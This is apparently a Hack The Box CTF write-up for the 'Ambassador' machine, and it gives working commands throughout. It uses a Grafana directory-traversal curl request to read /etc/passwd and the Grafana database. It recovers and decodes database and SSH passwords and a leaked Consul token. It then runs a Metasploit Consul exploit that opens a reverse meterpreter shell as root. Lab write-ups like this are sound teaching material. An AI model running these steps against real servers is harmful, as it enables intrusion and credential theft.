Ambassador Writeup

28 January 2023 #CTF #HTB #box #medium #linux

ambassador info

Enumeration

You know what to do: run nmap:

$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.183
[...]
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.183
[...]
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 12 Oct 2022 18:04:16 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 12 Oct 2022 18:03:44 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 12 Oct 2022 18:03:50 GMT
|_    Content-Length: 0
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 9
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, Support41Auth, SupportsLoadDataLocal, FoundRows, Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, ODBCClient, IgnoreSigpipes, SupportsTransactions, LongColumnFlag, InteractiveClient, IgnoreSpaceBeforeParenthesis, LongPassword, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: oE\x02wz^\x7F6~1@\x0B\x17\x17T_*)D-
|_  Auth Plugin Name: caching_sha2_password
[...]

SSH

We can use the ssh banner retrieved by nmap to identify quite accurately what version of Ubuntu is running on this box.

We'll throw the banner in our search engine and append 'launchpad' because this is where Ubuntu packages are hosted: we get this page.

We learn that it is Ubuntu Focal (20.04) and that the package was published on 11/05/2022.

This might be useful for us later on if we want to try a kernel exploit or something along those lines.

MYSQL

We can try our luck and see if mysql was poorly configured:

$ mysql -u root -h 10.10.11.183
ERROR 1045 (28000): Access denied for user 'root'@'10.10.14.14' (using password: NO)

Fine, we'll be back later.

HTTP

Port 80

hugo site

Thanks to nmap we know this site was made with Hugo (http-generator script) which is a static site generator. This means that it only serves html pages, no dynamic content, does not interact with a database etc.

Port 3000

Here we have a login page:

grafana login page

It is running Grafana which is a kind of monitoring application. It even leaks the version at the bottom. Let's throw it in searchsploit:

$ searchsploit grafana
------------------------------------------------------------------- ---------------------------
 Exploit Title                                                      |  Path
-------------------------------------------------------------------- ---------------------------
Grafana 7.0.1 - Denial of Service (PoC)                             | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read         | multiple/webapps/50581.py
-------------------------------------------------------------------- ---------------------------
Shellcodes: No Results

Foothold

If we look a bit in the second script we see that the vulnerable versions are V8.0.0-beta1 through V8.3.0 so we are good.

This script in particular didn't work for me, I checked in Burp to debug it and if I type /etc/passwd on the command line, it does a GET request to /etc/passwd which is definitely not what we want. Not sure what is causing this weird behaviour, but whatever.

We can do it manually with curl:

$ curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

We need to use --path-as-is to prevent curl from stripping all the ../.

After a bit of research, we find that grafana has a sqlite database in /var/lib/grafana/grafana.db. We'll download it using curl:

$ curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  644k  100  644k    0     0  1103k      0 --:--:-- --:--:-- --:--:-- 1102k

We can find juicy info in the data_source table:

sqlite> select user,password from data_source;
user     password
-------  --------------------------
grafana  dontStandSoCloseToMe63221!

We can't ssh with these creds but let's try mysql again:

$ mysql -h 10.10.11.183 -u grafana -p
Enter password:
[...]
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+

We find another password that is clearly base64 encoded (because of the trailing ==)

$ echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d
anEnglishManInNewYork027468

If we remember the post on the static site, it tells us to 'Use the developer account to SSH.', and that's exactly what we'll do:

$ ssh developer@10.10.11.183
[...]
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)

Privesc

There is something in /opt:

developer@ambassador:~$ ls -lA /opt
total 8
drwxr-xr-x 6 consul consul 4096 Dec  4 18:04 consul
drwxrwxr-x 5 root   root   4096 Mar 13  2022 my-app

The my-app directory is a git repo. We can view the logs of commits:

developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore

We can use git show to view a previous commit:

developer@ambassador:/opt/my-app$ git show c982db8eff6f10f8f3a7d802f79f2705e7a21b55
[...]
+# We use Consul for application config in production, this script will help set the correct values for the app
+# Export MYSQL_PASSWORD before running
+
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

It leaks an access token to use with consul.

We can also check for known vulnerabilities with searchsploit:

$ searchsploit consul
[...]
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit)
Hashicorp Consul - Remote Command Execution via Services API (Metasploit)
[...]

Nice! There are 2 exploits available for us.

Tunneling/Port Fowarding

The problem is the metasploit modules want to talk to port 8500 on the remote host, which is only listening on localhost. To solve this problem, we can use a feature of ssh to forward a local port. Type 'Enter + ~ + C' inside our ssh session and it will drop us in a prompt like this:

developer@ambassador:~$
ssh> -L 8500:127.0.0.1:8500
Forwarding port.

This will open port 8500 on our local machine and forward any traffic that goes through it to port 8500 on the remote box.

Alternatively, we can specify this -L option directly when starting ssh:

$ ssh -L 8500:127.0.0.1:8500 developer@10.10.11.183
[...]

Exploit

With that done, we can simply fire up msfconsole:

msf6 > search hashi
[...]
1  exploit/multi/misc/consul_rexec_exec     2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Rexec
2  exploit/multi/misc/consul_service_exec   2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Services API
msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

I'll use the second one because I couldn't get the first one to work.

msf6 exploit(multi/misc/consul_service_exec) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/misc/consul_service_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > run
[...]
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.11.183:33360) at 2022-12-04 14:15:13 -0500
meterpreter > getuid
Server username: root

We set RHOSTS to 127.0.0.1 because the module uses port 8500 so it goes through our ssh tunnel.

Key Takeaways